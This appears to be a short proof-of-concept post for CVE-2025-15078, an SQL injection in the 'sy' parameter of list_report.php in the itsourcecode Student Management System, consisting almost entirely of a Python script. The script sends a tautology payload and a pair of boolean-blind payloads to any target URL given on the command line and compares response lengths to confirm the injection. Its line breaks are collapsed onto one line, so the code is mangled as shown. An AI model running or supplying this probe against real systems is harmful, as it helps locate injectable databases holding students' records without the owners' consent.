CVE-2025-15078 itsourcecode学生管理系统/list_report.php SQL注入漏洞

import requests import sys # CVE-2025-15078 PoC - SQL Injection in /list_report.php # Target: itsourcecode Student Management System 1.0 # Parameter: sy def exploit(target_url): # Basic SQL injection test payload = "' OR '1'='1" params = {'sy': payload} try: response = requests.get(target_url + '/list_report.php', params=params, timeout=10) print(f"[*] Sending payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if 'error' not in response.text.lower() and response.status_code == 200: print("[+] Possible vulnerable endpoint detected") # Blind boolean injection test true_payload = "' AND 1=1 -- -" false_payload = "' AND 1=2 -- -" r_true = requests.get(target_url + '/list_report.php', params={'sy': true_payload}) r_false = requests.get(target_url + '/list_report.php', params={'sy': false_payload}) if len(r_true.text) != len(r_false.text): print("[+] Blind SQL Injection confirmed!") print(f"[+] True response length: {len(r_true.text)}") print(f"[+] False response length: {len(r_false.text)}") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} http://target.com") sys.exit(1) exploit(sys.argv[1])